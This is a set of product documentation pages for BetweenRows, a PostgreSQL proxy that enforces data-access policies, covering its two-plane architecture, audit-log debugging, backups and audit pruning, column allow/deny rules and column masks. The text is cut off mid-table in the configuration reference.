---
url: /concepts/architecture.md
description: >-
  How BetweenRows is structured — the two-plane design, request lifecycle, and
  trust boundaries between the admin and data planes.
---

# Architecture

BetweenRows ships as a **single binary with two planes**. Understanding the separation between the two planes is the most important mental model for operating BetweenRows safely.

## Two planes, two ports

**Data plane** (port `5434`) — a PostgreSQL wire protocol proxy. SQL clients (`psql`, TablePlus, DBeaver, BI tools, your application) connect here exactly as they would to a real PostgreSQL database. Every query is authenticated, authorized against the user's data source grants, rewritten according to applicable policies, then executed against the upstream database.

**Management plane** (port `5435`) — the admin UI and REST API. Only users with `is_admin = true` can log in. Admins manage users, data sources, policies, roles, attribute definitions, decision functions, and audit logs.

The two planes are **independent**. Being an admin does **not** grant data access. All data access must be explicitly granted via data source assignments and policies. An admin with no policy assignments sees **zero data** through the proxy — this is by design.

```
psql / app
    ↓  PostgreSQL wire protocol (port 5434)
BetweenRows Data Plane
    ├─ Authenticate user (password)
    ├─ Check data source access (user/role/all scopes)
    ├─ Build per-user virtual schema (applies table_deny, column_deny, column_allow)
    ├─ On each query:
    │    ├─ Apply column_mask at scan level
    │    ├─ Apply row_filter below mask
    │    ├─ Apply final Projection (column allow/deny)
    │    └─ Execute via DataFusion
    ├─ Audit the query (original SQL + rewritten SQL + policies applied)
    └─ Stream results back to client
    ↓
Upstream PostgreSQL
```

The management plane runs alongside but has no path to the data plane's query execution:

```
Admin UI / REST API (port 5435)
    ├─ JWT-authenticated requests only
    ├─ CRUD on users, data sources, policies, roles, attributes
    ├─ Discovery jobs (catalog introspection)
    ├─ Query audit log (read-only)
    └─ Admin audit log (append-only)
```

## Trust boundaries

* **Admin access ≠ data access.** The ports are separate, the authentication is separate (admin uses JWT in browser; data plane uses password in the pgwire startup message), and the authorization lives in different tables (`proxy_user.is_admin` for admin, `data_source_access` for data).
* **The proxy cannot be bypassed from inside the network.** If an attacker reaches the upstream PostgreSQL port directly, BetweenRows provides zero protection — it must be the only network path to the database. Use firewall rules, security groups, or private networks to enforce this.
* **The upstream database is trusted.** BetweenRows reduces the blast radius of a compromised application credential or a misconfigured BI tool; it does not defend against a compromised database server.
* **The admin credential is a root credential.** Anyone with the admin password can rewrite every policy. Treat it accordingly: strong password, limited distribution, rotate on staff changes. Use the CLI to create additional admin accounts rather than sharing one.

## Request lifecycle

A single query through the proxy goes through these stages in order:

1. **Authentication (startup).** The client sends a PostgreSQL startup message with `user=alice password=... database=my-datasource`. BetweenRows looks up `alice` in the admin DB, verifies the Argon2id password hash, and checks `data_source_access` for at least one matching entry (user-scoped, role-scoped via inheritance, or all-scoped). No access → connection refused.

2. **Per-user virtual schema build.** On connect, BetweenRows computes the user's visible schema:
   * Start with the cached baseline catalog for the data source (from the last discovery job).
   * Remove tables matched by any `table_deny` policy assigned to this user (via scope `user`, `role` hierarchy, or `all`).
   * Remove columns matched by any `column_deny` policy.
   * In `policy_required` mode, remove tables that have no matching `column_allow` policy.
   * The result is a filtered `SessionContext` used for all queries on this connection.

3. **Query parsing and planning.** The query is parsed with `sqlparser`, rewritten for pg\_catalog compatibility, and planned by DataFusion into a logical plan tree (`TableScan` → `Filter` → `Projection` → etc.).

4. **Policy enforcement on the logical plan.** The `PolicyHook` runs in this order:
   * **Column masks are applied at scan level** (a `Projection` injected above each `TableScan` that replaces the masked column). This ensures aliases, CTEs, and subqueries cannot bypass the mask.
   * **Row filters are applied below the mask.** Each `row_filter` policy becomes a `Filter` node between the scan and the mask projection, so the filter always evaluates against raw (unmasked) values. Multiple row filters are AND-combined.
   * **A top-level `Projection`** is then applied to enforce column allow/deny lists — defense-in-depth for any scan that the scan-level pass missed. If all selected columns are stripped, the query returns SQLSTATE `42501` (insufficient privilege).

5. **Execution and streaming.** The rewritten plan is executed via DataFusion, which pushes down filters to the upstream PostgreSQL where possible, then streams Arrow record batches back and encodes them as PostgreSQL wire protocol rows for the client.

6. **Audit logging.** Every auditable query — success, denied, error, write-rejected — writes a row to `query_audit_log` asynchronously. The audit entry captures the original SQL, the serialized rewritten SQL (produced by `datafusion::unparser`), the list of policies that fired with their versions, client IP, application name, and execution time.

## Why this split matters

Routing security through query planning (rather than string rewriting or view-based approaches) is the reason BetweenRows can enforce policies uniformly across aliases, CTEs, subqueries, JOINs, and nested projections. The filter or mask is attached to the `TableScan` node — the one place in the plan tree that cannot be aliased away. When a user writes `WITH t AS (SELECT * FROM orders) SELECT * FROM t AS o`, DataFusion inlines the CTE and the alias, but the underlying `TableScan(orders)` is still there, still carrying its injected filter.

See the [Policy Model](/concepts/policy-model) for the details of the five policy types and how they compose.

## What lives where

| Component | Location | Purpose |
|---|---|---|
| Data plane | `proxy` binary, port 5434 | pgwire, DataFusion, policy enforcement |
| Management plane | `proxy` binary, port 5435 | REST API (axum) + static admin UI |
| Admin UI | React SPA, served from `5435` | Built with Vite, TanStack Query, Tailwind |
| Admin database | `/data/proxy_admin.db` (SQLite) | Users, policies, datasources, audit logs, attribute definitions |
| Upstream databases | External | Your actual data; BetweenRows reads from them |

::: tip
The single-binary design means one Docker image, one process to monitor, one port matrix to open. It is not a microservices deployment.
:::

---

---
url: /guides/audit-debugging.md
description: >-
  Use the query and admin audit logs to debug policy behavior, trace rewritten
  SQL, and investigate access decisions.
---

# Audit & Debugging

BetweenRows logs every query and every admin mutation. The audit logs are your primary debugging tool — they show exactly what the proxy did, which policies fired, and what SQL actually ran against the upstream database.

## Purpose and when to use

Use the audit logs when:

* A policy isn't behaving as expected (wrong rows, missing columns, unexpected access)
* You need to investigate who changed a policy, role, or user
* You need a compliance trail of all data access and admin actions
* You're debugging a "zero rows returned" or "table not found" issue

## The two audit logs

| Log | What it records | API endpoint |
|---|---|---|
| **Query audit** | Every query through the proxy — original SQL, rewritten SQL, policies applied, status, timing | `GET /api/v1/audit/queries` |
| **Admin audit** | Every admin mutation — user/role/policy/datasource changes, who did it, what changed | `GET /api/v1/audit/admin` |

Both are **append-only** — there are no UPDATE or DELETE endpoints. Once written, an audit entry cannot be modified.

## Audit log fields

### Query audit log

A row is written for every query that reaches the proxy, including denied queries and failed queries. Audit entries are written asynchronously after the result reaches the client, so query latency does not include audit I/O.

**API:** `GET /api/v1/audit/queries` (filterable by `user_id`, `datasource_id`, `status`, `from`, `to`, `page`, `page_size`)

| Field | Type | Description |
|---|---|---|
| `id` | UUID | Unique audit entry ID |
| `user_id` | UUID | The authenticated user who ran the query |
| `username` | string | Denormalized username (survives user deletion) |
| `data_source_id` | UUID | The datasource the query targeted |
| `datasource_name` | string | Denormalized datasource name (survives rename) |
| `original_query` | string | The SQL statement as sent by the client |
| `rewritten_query` | string (nullable) | The SQL actually executed against the upstream database, with all row filters and column masks applied. This is the key debugging field — compare it with `original_query` to see what BetweenRows changed. NULL if the query was denied before rewriting. |
| `policies_applied` | JSON string | Array of `{policy_id, version, name}` objects — a snapshot of which policies fired for this query, including decision function results. Use this to answer "which policies affected this query?" |
| `execution_time_ms` | integer (nullable) | Wall-clock time for the upstream query execution, in milliseconds. NULL for denied queries. |
| `client_ip` | string (nullable) | Client IP address from the pgwire connection |
| `client_info` | string (nullable) | Application name from pgwire startup parameters (e.g. `psql`, `DBeaver`, your app's connection string) |
| `status` | string | One of: `success` (query completed), `error` (query failed), `denied` (query blocked by policy or read-only enforcement) |
| `error_message` | string (nullable) | Error details when `status` is `error` or `denied`. For denied queries, does **not** reveal which policy caused the denial (404-not-403 principle). |
| `created_at` | datetime | When the audit entry was written |

**Key behaviors:**

* **Denied writes are audited.** If a client sends `DELETE FROM orders`, the proxy rejects it (read-only enforcement), but a row is still written with `status = "denied"`. You can see every attempted write.
* **The `rewritten_query` shows the real SQL.** Row filters appear as injected `WHERE` clauses; column masks appear as transformed expressions in the `SELECT` list. This is the single best debugging tool for "why did I get these rows?"
* **`policies_applied` is a snapshot.** It captures the policy name and version at query time, so even if the policy is later edited or deleted, the audit record shows what was in effect.

### Admin audit log

A row is written for every mutation to the admin-plane state: users, roles, policies, datasources, attribute definitions, policy assignments, role memberships, and role inheritance. Mutations and their audit entries are written atomically in the same database transaction — if the mutation commits, the audit entry exists; if it rolls back, neither is persisted.

**API:** `GET /api/v1/audit/admin` (filterable by `resource_type`, `resource_id`, `actor_id`, `from`, `to`, `page`, `page_size`)

| Field | Type | Description |
|---|---|---|
| `id` | UUID | Unique audit entry ID |
| `resource_type` | string | The entity type that was changed: `user`, `role`, `policy`, `datasource`, `attribute_definition`, `policy_assignment`, `role_member`, `role_inheritance`, `data_source_access` |
| `resource_id` | UUID | The ID of the entity that was changed |
| `action` | string | What happened: `create`, `update`, `delete`, `assign`, `unassign`, `add_member`, `remove_member`, `add_parent`, `remove_parent`, `grant_access`, `revoke_access` |
| `actor_id` | UUID | The admin user who performed the action |
| `changes` | JSON string (nullable) | A JSON object describing what changed. Shape depends on the action — see below. |
| `created_at` | datetime | When the mutation occurred |

**Changes JSON shape by action:**

| Action | JSON shape | Contents |
|---|---|---|
| `create` | `{"after": {...}}` | Full snapshot of the new entity (secrets excluded) |
| `update` | `{"before": {...}, "after": {...}}` | Only the fields that changed |
| `delete` | `{"before": {...}}` | Full snapshot of the deleted entity |
| `assign` / `unassign` | `{assignment_id, datasource_id, scope, ...}` | Flat JSON with relationship identifiers |
| `add_member` / `remove_member` | `{user_id, role_id}` | Who was added/removed |

::: warning Secrets are never logged
`config`, `password_hash`, and `decision_fn` source code are excluded from audit entries. When these fields change, the audit entry records a boolean flag like `"config_changed": true` instead of the actual value.
:::

## Step-by-step: debug a policy issue

### Scenario 1: row filter not applied

**Symptom:** Alice sees rows from all tenants, not just `acme`.

1. Open **Query Audit** in the admin UI.
2. Find Alice's query. Check the **Status** field — it should be `success`.
3. Check **Policies applied** — is `tenant-isolation` listed?
   * **Not listed:** the policy is not reaching Alice. Check: policy `is_enabled`, assigned to Alice's data source, target schemas/tables match the queried table, Alice has data source access.
   * **Listed:** the policy fired but the filter may not be effective.
4. Check **Rewritten query** — does it contain `WHERE org = 'acme'`?
   * **No WHERE clause:** the template variable may have resolved to NULL. Check Alice's `tenant` attribute value.
   * **Wrong value:** check which user attribute value Alice has set.

![Query audit detail view showing rewritten SQL and applied policies](/screenshots/audit-debugging-query-detail-v0.15.png)

### Scenario 2: zero rows returned

**Symptom:** Alice sees no rows when she should see some.

1. In the audit log, find the query and check the **Rewritten query**.
2. Look for `WHERE ... AND false` or `Filter: Boolean(false)` — this means a policy injected an always-false filter, which happens when:
   * The user's attribute resolved to NULL (no attribute set, no default value)
   * An empty list attribute expanded to `IN (NULL)`
   * In `policy_required` mode, no `column_allow` policy matched the table
3. Check **Policies applied** — are multiple row filters AND-combining to an impossible condition?
4. Check the user's attributes in the admin UI — is the expected attribute set?

### Scenario 3: column mask not visible in results

**Symptom:** You created a `column_mask` but the column shows raw values.

1. In the audit log, check **Rewritten query** — look for the mask expression in the SELECT list (e.g., `'***-**-' || RIGHT(ssn, 4) AS ssn`).
   * **Mask expression present:** the policy is applied but something downstream may be wrong. Check if you're querying the right data source.
   * **Mask expression absent:** the policy isn't firing. Check: `is_enabled`, target schema/table/column match exactly (case-sensitive), assigned to the data source, column exists in the catalog.
2. Check **Policies applied** — is the mask policy listed?
3. If multiple masks target the same column, check priority numbers — only the lowest-priority mask applies.

### Scenario 4: query denied

**Symptom:** Query returns an error instead of results.

1. In the audit log, check **Status** — should show `denied` or `error`.
2. Check **Error message** — note that BetweenRows deliberately does **not** reveal which policy caused the denial (404-not-403 principle). The error says "table not found" or "column does not exist," not "blocked by policy X."
3. Common causes:
   * `table_deny` hiding the table → "table not found"
   * `column_deny` removing all selected columns → SQLSTATE 42501
   * `policy_required` mode with no `column_allow` → table invisible
   * Write statement (INSERT/UPDATE/DELETE) → read-only enforcement

### Scenario 5: investigating an admin change

**Symptom:** "Who changed this policy?" or "When was this user deactivated?"

1. Open **Admin Audit** in the admin UI.
2. Filter by `resource_type` (e.g., `policy`, `user`, `role`) and optionally by `resource_id`.
3. Each entry shows:
   * **Actor** — which admin made the change
   * **Action** — `create`, `update`, `delete`, `assign`, `unassign`, etc.
   * **Changes** — JSON diff of what changed (before/after for updates, full snapshot for create/delete)

![Admin audit entry showing actor, action, and change diff](/screenshots/audit-debugging-admin-detail-v0.15.png)

## Patterns and recipes

### Filter the query audit

The API supports these query parameters:

| Parameter | Type | Purpose |
|---|---|---|
| `user_id` | UUID | Show only queries from this user |
| `datasource_id` | UUID | Show only queries on this data source |
| `status` | string | `success`, `error`, or `denied` |
| `since` | datetime | Entries after this timestamp |
| `until` | datetime | Entries before this timestamp |
| `limit` | integer | Max entries to return |

Example: "Show me all denied queries on `production_db` in the last hour."

### Correlate query and admin audit

When debugging a "policy stopped working," check both logs:

1. **Admin audit** — was the policy disabled, unassigned, or edited recently?
2. **Query audit** — did the policy appear in `policies_applied` before the issue started?

The timestamps correlate — find the admin change, then find the first query after it.

### Denied writes

BetweenRows is read-only. If a client sends `DELETE FROM orders`, the proxy rejects it — but the attempt is still audited with `status = "denied"`. Check the query audit for write attempts from users who shouldn't be sending them.

## Composition with other features

* **Policy changes take effect immediately.** After editing a policy, the next query from any connected user reflects the change. The audit log shows exactly when the change took effect.
* **Decision function results are included** in `policies_applied` — you can see whether the function returned `fire: true` or `fire: false` and what error (if any) occurred.
* **Rename safety:** the audit log denormalizes `datasource_name` and `username` at write time, so entries survive entity renames. Historical entries show the name at the time of the query, not the current name.

## Limitations and catches

* **Error messages do not reveal policy details.** "Table not found" means a `table_deny` or missing `column_allow` blocked access, but the error doesn't say which policy. This is intentional (prevents probing). Use the audit log to see which policies fired.
* **Audit entries are written asynchronously.** The query result reaches the client before the audit row is committed. In rare crash scenarios, the last few entries may be lost.
* **Admin audit records secrets as boolean flags.** Password changes log `"field": "password"`, not the actual hash. Config changes log `"config_changed": true`, not the connection details.
* **No retention policy yet.** Audit entries accumulate indefinitely. Monitor database size and plan manual cleanup if needed.

## Troubleshooting

* **Audit log is empty** — check: user connected through the proxy (not directly to the upstream), the admin database is writable, `RUST_LOG` is at `info` or above.
* **Missing `rewritten_query`** — the query was denied before rewriting. Check `status` field.
* **Unexpected `policies_applied`** — a policy you didn't expect is firing. Check all assignments: user-scoped, role-scoped, and all-scoped. Remember that role inheritance can bring in policies from parent roles.

→ Full diagnostics: [Troubleshooting](/operations/troubleshooting)

## See also

* [Policies overview](/guides/policies/) — understanding what fires and why
* [Troubleshooting](/operations/troubleshooting) — connection and policy diagnostic trees

---

---
url: /operations/backups.md
description: >-
  What lives in /data, how to snapshot it safely, and how to export policies
  independently as belt-and-suspenders recovery.
---

# Backups

BetweenRows stores its entire admin state in the `/data` volume. Losing `/data` without a backup means losing users, policies, data source credentials, audit logs, and the encryption keys needed to read the credentials. **Back it up.**

## What's in `/data`

| Path | Contents | Recovery impact if lost |
|---|---|---|
| `/data/proxy_admin.db` | SQLite admin database — users, roles, policies, data sources, audit logs, attribute definitions, decision functions | All admin state; recreating from scratch takes hours for a non-trivial deployment |
| `/data/.betweenrows/encryption_key` | Auto-generated AES-256-GCM key (if `BR_ENCRYPTION_KEY` was not set explicitly) | Data source passwords and decision function JS source become unreadable |
| `/data/.betweenrows/jwt_secret` | Auto-generated HMAC signing key (if `BR_ADMIN_JWT_SECRET` was not set explicitly) | All admin sessions invalidated (low impact — admins re-authenticate) |

::: warning
If you set `BR_ENCRYPTION_KEY` and `BR_ADMIN_JWT_SECRET` explicitly via environment variables (recommended for production), the `/data/.betweenrows/` files are not created, but the admin database still needs to be backed up.
:::

## Audit log growth

The admin database holds two audit tables that grow over time and have no built-in retention:

* **`query_audit_log`** — one row per evaluated query. Grows with proxy traffic.
* **`admin_audit_log`** — one row per management-plane mutation (policy edits, role changes, user CRUD). Grows with admin activity, typically at a much lower rate.

Neither table is pruned automatically. On a busy deployment `query_audit_log` is usually what pushes `/data` size. You are responsible for sizing the volume and pruning or archiving old rows on whatever schedule your compliance story requires.

### Pruning old rows

Run a scheduled job against the SQLite admin database to delete rows past your retention window. The proxy holds a write connection, so either stop the container briefly or rely on SQLite's busy handler:

```sh
# 90-day retention, run nightly via cron
sqlite3 /data/proxy_admin.db <<'SQL'
PRAGMA busy_timeout = 30000;
DELETE FROM query_audit_log WHERE created_at < datetime('now', '-90 days');
DELETE FROM admin_audit_log WHERE created_at < datetime('now', '-90 days');
SQL
```

SQLite reuses freed pages automatically; the file does not need to be compacted after each prune.

### Archive before prune

If your compliance posture requires retaining audit history, export the rows you are about to delete first. A simple `sqlite3` export piped to gzip is enough:

```sh
sqlite3 /data/proxy_admin.db \
  "SELECT * FROM query_audit_log WHERE created_at < datetime('now', '-90 days');" \
  | gzip > /var/archive/query_audit_log-$(date +%F).csv.gz
```

Store the archive wherever you keep long-term audit records (S3, Glacier, your SIEM). Treat it as sensitive — audit rows contain query text that may reveal schema and user behavior.

::: info Planned
Operator-configurable audit log retention (TTL and/or row cap, with optional export-before-prune) is on the [roadmap](/about/roadmap). Until it ships, use the scripts above.
:::

## Backup options

### Option 1: Volume snapshot (recommended)

If you run in a cloud environment with volume snapshots, use them. They're atomic, fast, and include everything in `/data` in one consistent view.

* **AWS EBS:** `aws ec2 create-snapshot --volume-id vol-... --description "betweenrows-YYYY-MM-DD"`
* **GCP Persistent Disk:** `gcloud compute disks snapshot <disk-name> --snapshot-names=betweenrows-YYYY-MM-DD`
* **Fly volumes:** Fly Volumes have automatic daily snapshots with 5-day retention. Manual snapshot: `fly volumes snapshots create <volume-id>`.
* **Docker named volumes (local):** no built-in snapshot; use one of the other options below.

Schedule snapshots via cron or a scheduled job. Retain enough to recover from a failed upgrade — a week is a reasonable baseline.

### Option 2: SQLite online backup

SQLite supports an atomic online backup even while the database is in use. Use the `.backup` pragma or the `sqlite3` CLI:

```sh
# From inside the container
sqlite3 /data/proxy_admin.db ".backup /data/backups/proxy_admin-$(date +%F).db"

# Copy out to the host
docker cp betweenrows:/data/backups/proxy_admin-$(date +%F).db ./backups/
```

Or use the SQLite `BACKUP TO` API from a small script. This produces a point-in-time consistent copy without stopping the proxy.

Don't forget to also copy the encryption key and JWT secret if they're auto-generated:

```sh
docker cp betweenrows:/data/.betweenrows/encryption_key ./backups/
docker cp betweenrows:/data/.betweenrows/jwt_secret ./backups/
```

::: info Planned: YAML export/import
Human-readable YAML export/import of policies is on the roadmap as part of the declarative "policy as code" workflow for the planned `betweenrows` CLI. Until it ships, the primary backup path is the volume snapshot (above) and the admin database dump. Do not rely on a separate policy backup artifact yet.
:::

## Backup checklist

1. **Pick a schedule.** Daily snapshots for production; weekly for staging. Retention at least 2 weeks for daily, 2 months for weekly.
2. **Automate it.** Cron on the host, scheduled CI job, or cloud-provider-managed snapshots. Manual backups get forgotten.
3. **Test a restore.** At least once per quarter, restore a backup to a scratch environment and verify you can log in, see policies, and query a data source. Backups that have never been restored are not backups.
4. **Secure the backup location.** Backups contain encrypted data source passwords. If an attacker gets the backup *and* the `BR_ENCRYPTION_KEY`, they can decrypt them. Treat backups as sensitive data — encrypt at rest, restrict access.
5. **Document the recovery procedure.** Write down the exact steps to restore, including where the backup lives, how to decrypt it, and how to point a fresh container at the restored volume. Put it in your runbook.

## Recovery procedure

### From a volume snapshot

1. Stop the current container: `docker stop betweenrows && docker rm betweenrows`.
2. Mount the snapshot as a new volume (cloud-provider-specific).
3. Start a new container with the same environment variables, mounting the restored volume at `/data`.
4. Verify login and query.

### From a SQLite `.backup` dump

1. Stop the container.
2. Replace `/data/proxy_admin.db` with the backup file.
3. Replace `/data/.betweenrows/encryption_key` and `jwt_secret` with the backup files (if auto-generated).
4. Start the container.
5. Verify login and query.

## See also

* **[Upgrading](/operations/upgrading)** — the other time you really need a backup
* **[Configuration](/reference/configuration)** — `BR_ENCRYPTION_KEY`, `BR_ADMIN_DATABASE_URL`

---

---
url: /guides/policies/column-allow-deny.md
description: >-
  Use column_allow and column_deny policies to control which columns are
  visible, with glob patterns and access mode interaction.
---

# Column Allow & Deny

`column_allow` and `column_deny` control column visibility by name. Allow policies grant access to specific columns; deny policies remove them. Neither modifies data — they control what exists in the user's schema.

## Purpose and when to use

* **`column_allow`** — in `policy_required` mode, this is the **only** policy type that grants table access. Use it to define which columns each user/role can see. In `open` mode, allow policies are optional (all columns are visible by default).
* **`column_deny`** — removes specific columns from the user's view. The column disappears from query results AND from `information_schema`. Use it when a column should not exist from the user's perspective (e.g., `credit_card`, `cost_price`).

### Allow vs. deny vs. mask

| Goal | Use |
|---|---|
| Column must remain queryable but with redacted values | `column_mask` |
| Column should not exist at all for this user | `column_deny` |
| Only these specific columns should be visible (whitelist) | `column_allow` |

## Field reference

### column\_allow

| Field | Value | Notes |
|---|---|---|
| `policy_type` | `column_allow` | |
| `targets.schemas` | Required | Supports globs |
| `targets.tables` | Required | Supports globs |
| `targets.columns` | Required | The columns to make visible. Supports globs. |
| `definition` | Not used | Must be absent — API returns 422 if present. |

### column\_deny

| Field | Value | Notes |
|---|---|---|
| `policy_type` | `column_deny` | |
| `targets.schemas` | Required | Supports globs |
| `targets.tables` | Required | Supports globs |
| `targets.columns` | Required | The columns to remove. Supports globs. |
| `definition` | Not used | Must be absent. |

## Step-by-step tutorial

### Column deny: hide credit card numbers

1. **Create the policy:**
   * **Name:** `hide-credit-card`
   * **Type:** `column_deny`
   * **Targets:** schema `public`, table `customers`, column `credit_card`

2. **Assign** with scope: All users.

3. **Verify:**

   ```sh
   psql 'postgresql://alice:Demo1234!@127.0.0.1:5434/demo_ecommerce' \
     -c "SELECT credit_card FROM customers"
   # → ERROR: column "credit_card" does not exist
   ```

   The column is gone — not just empty, but absent from the schema entirely.

### Column allow: whitelist visible columns (policy\_required mode)

1. **Set the data source to `policy_required` mode** (edit the data source).

2. **Create the policy:**
   * **Name:** `analyst-columns`
   * **Type:** `column_allow`
   * **Targets:** schema `public`, table `customers`, columns `id, first_name, last_name, email, org`

3. **Assign** to the `analyst` role.

4. **Verify:** analysts see only the allowed columns. `ssn`, `credit_card`, `phone` are invisible.

## Patterns and recipes

### Glob patterns

| Pattern | Matches | Does not match |
|---|---|---|
| `"*"` | All columns | — |
| `"name"` | `name` only | `first_name`, `last_name` |
| `"*_name"` | `first_name`, `last_name` | `name`, `email` |
| `"secret_*"` | `secret_key`, `secret_token` | `my_secret` |

Patterns are **case-sensitive**.

### Deny financial columns across all tables

```json
{
  "targets": [
    {
      "schemas": ["*"],
      "tables": ["*"],
      "columns": ["cost_price", "margin", "wholesale_price"]
    }
  ]
}
```

### Allow baseline + deny override

In `policy_required` mode, a common pattern is:

1. `column_allow` with `columns: ["*"]` → grants full column access (baseline)
2. `column_deny` on specific sensitive columns → overrides the allow

Deny always wins — the deny removes the column even though the allow includes it.

## Composition

### Deny always wins over allow

If a `column_allow` includes `salary` and a `column_deny` targets `salary`, the column is **denied**. This is the deny-wins invariant — it holds across all scopes and priorities.

### Per-table scoping in JOINs

Column policies are scoped per table. Denying `email` on `customers` does **not** affect `email` on `orders` in the same JOIN. You must create separate deny targets for each table.

### Multiple allow policies → union

If two `column_allow` policies target the same table, the visible columns are the **union** of both. User sees all columns that any allow policy grants.

### Multiple deny policies → union

If two `column_deny` policies target the same column, it's still denied (idempotent). If they target different columns, both are removed.

### Interaction with access modes

| Access mode | `column_allow` needed? | `column_deny` behavior |
|---|---|---|
| `policy_required` | **Yes** — without it, the table is invisible | Removes columns from the allow set |
| `open` | No — all columns visible by default | Removes columns from the default-visible set |

::: danger column\_deny does not grant access
In `policy_required` mode, creating a `column_deny` without a `column_allow` leaves the table invisible. The deny has nothing to deny because the table was never granted. You need at least one `column_allow` to make the table visible first.
:::

## Limitations and catches

* **Denied columns disappear from `information_schema`.** Users cannot discover that the column exists — this is the visibility-follows-access invariant.
* **If all selected columns are denied, the query returns an error** (SQLSTATE 42501 — insufficient privilege), not an empty result.
* **`column_allow` with `columns: ["*"]` in `policy_required` mode** is equivalent to `open` mode for that table. Use it as a baseline, then layer denies.
* **Glob patterns are case-sensitive.** `"SSN"` does not match `"ssn"`.

→ Full list: [Known Limitations](/operations/known-limitations)

## Troubleshooting

* **Table invisible despite deny policy** — in `policy_required` mode, you need a `column_allow` first. Deny alone doesn't make the table exist.
* **Column still visible after deny** — check: policy `is_enabled`, target schema/table/column match exactly (case-sensitive), policy assigned to the user's data source.
* **Unexpected columns visible** — check for a `column_allow` with `["*"]` that grants everything, or `open` access mode.

→ Full diagnostics: [Audit & Debugging](/guides/audit-debugging) · [Troubleshooting](/operations/troubleshooting)

## See also

* [Policies overview](/guides/policies/) — when to deny vs. mask, structural shape, validation rules
* [Column Masks](./column-masks) — for redacting values instead of hiding columns
* [Table Deny](./table-deny) — for hiding entire tables

---

---
url: /guides/policies/column-masks.md
description: >-
  Write column_mask policies to redact sensitive column values — SSN masking,
  email redaction, and role-conditional patterns.
---

# Column Masks

A `column_mask` policy replaces a column's value with a SQL expression at query time. The column remains queryable (usable in JOINs, WHERE, GROUP BY) but the value the user sees is the masked version. Use masks when you want to preserve the column's utility while hiding the raw data.

## Purpose and when to use

Use column masks for PII redaction (SSNs, emails, phone numbers), financial data obfuscation (salaries, costs), or any scenario where the column must remain in the schema but the raw value should not be visible.

If the column should not exist at all, use [`column_deny`](./column-allow-deny) instead.

## Field reference

| Field | Value | Notes |
|---|---|---|
| `policy_type` | `column_mask` | |
| `targets.schemas` | Required | Which schemas to match |
| `targets.tables` | Required | Which tables to match |
| `targets.columns` | Required | **Exactly one column per target entry** |
| `definition.mask_expression` | Required | SQL expression that produces the masked value. Can reference the original column and `{user.KEY}` template variables. |

## Step-by-step tutorial

This tutorial uses the [demo schema](/reference/demo-schema). The goal: mask `customers.ssn` to show only the last 4 digits.

### 1. Create the policy

Go to **Policies → Create**:

* **Name:** `mask-ssn-partial`
* **Type:** `column_mask`
* **Targets:** schema `public`, table `customers`, column `ssn`
* **Mask expression:** `'***-**-' || RIGHT(ssn, 4)`

![Column mask policy editor showing SSN masking expression](/screenshots/column-masks-editor-v0.15.png)

### 2. Assign and verify

Assign with **scope: All users** on the data source. Then connect:

```sh
psql 'postgresql://alice:Demo1234!@127.0.0.1:5434/demo_ecommerce' \
  -c "SELECT first_name, ssn FROM customers LIMIT 3"
```

```
 first_name |     ssn
------------+-------------
 Alice      | ***-**-1234
 Bob        | ***-**-5678
 Carol      | ***-**-9012
```

![psql output showing SSN values masked to last four digits](/screenshots/column-masks-result-v0.15.png)

## Patterns and recipes

### Last-4 SSN

```sql
'***-**-' || RIGHT(ssn, 4)
```

### Email domain only

```sql
'***@' || SPLIT_PART(email, '@', 2)
```

`jane@acme.com` → `***@acme.com`. Preserves domain for grouping while hiding the individual.

### Full redaction (constant)

```sql
'[RESTRICTED]'
```

Replaces the value with a constant string. The column still exists in the schema and can be referenced in expressions, but every row returns the same value.

### NULL-out

```sql
NULL
```

Replaces the value with SQL NULL. Aggregates like `COUNT(column)` will skip these rows.

### Conditional by role/department

```sql
CASE WHEN {user.department} = 'hr' THEN ssn ELSE '***-**-' || RIGHT(ssn, 4) END
```

HR users see the real SSN; everyone else sees the masked version. The `{user.department}` variable is resolved from the user's attribute.

### Hash (one-way)

```sql
LEFT(MD5(ssn), 8)
```

Produces a consistent hash — same input always produces the same output. Useful for JOIN keys where you want to link records across tables without exposing the raw value.

## Composition

### Masks + row filters

Row filters evaluate **raw** (unmasked) values. A filter on `salary > 50000` sees the real salary even if a mask replaces it with `0` in the results. This is safe by design — the filter decides which rows appear, and the mask decides what value the user sees.

### Downstream expressions see the masked value

If you `SELECT masked_col || '!' FROM t`, the concatenation operates on the masked value, not the raw. Function calls, CASE expressions, and any computed columns downstream of the mask all see the masked version.

### Multiple masks on the same column

If two `column_mask` policies target the same column, the one with the **lowest priority number** wins. Use distinct priorities to control which mask applies. If priorities are equal, the ordering is undefined.

### Masks + column deny

If a `column_deny` removes a column, a mask on the same column is irrelevant — the column doesn't exist in the user's schema.

## Limitations and catches

* **Masks do not block predicate probing.** A user can write `WHERE salary > 100000` and infer information from the row count, even though the `salary` column shows a masked value. If this is a concern, use `column_deny` to remove the column entirely, or combine with a `row_filter` to restrict which rows are visible.
* **Masks do not block aggregate inference.** `AVG(salary)` operates on the masked value (which may be a constant like `0`), but `COUNT(*)` with a `WHERE salary > X` filter still reveals information. For sensitive aggregates, deny the column.
* **One column per target entry.** Each target in a `column_mask` must specify exactly one column. To mask multiple columns on the same table, use multiple target entries or multiple policies.
* **The mask expression must be valid SQL.** It is validated at save time against the DataFusion expression parser. Unsupported functions return 422.

→ Full list: [Known Limitations](/operations/known-limitations)

## Troubleshooting

* **Mask not applied** — check: policy `is_enabled`, assigned to the data source, target schema/table/column match exactly. Inspect `rewritten_query` in the audit log — the mask appears as a transformed expression in the SELECT list.
* **Wrong mask applied** — check priority numbers if multiple masks target the same column. Lowest priority wins.
* **Expression error on save** — the mask expression contains unsupported SQL syntax. See [Template Expressions → Supported SQL syntax](/reference/template-expressions#supported-sql-syntax).

→ Full diagnostics: [Audit & Debugging](/guides/audit-debugging) · [Troubleshooting](/operations/troubleshooting)

## See also

* [Policies overview](/guides/policies/) — when to mask vs. deny, structural shape, validation rules
* [Column Allow & Deny](./column-allow-deny) — for removing columns entirely
* [Template Expressions](/reference/template-expressions) — expression syntax and `{user.KEY}` variables

---

---
url: /reference/configuration.md
description: >-
  Every BetweenRows environment variable, default, and note. Used by the Docker
  image, Fly.io deployments, and source builds alike.
---

# Configuration

BetweenRows is configured entirely via environment variables. There is no config file.

## Required on first boot

| Variable | Default | Description |
|---|---|---|
| `BR_ADMIN_PASSWORD` | — | Password for the initial admin account. **Required** when no users exist in the admin database. Only used on first boot. Change it through the admin UI after logging in. |

## Admin account

| Variable | Default | Description |
|---|---|---|
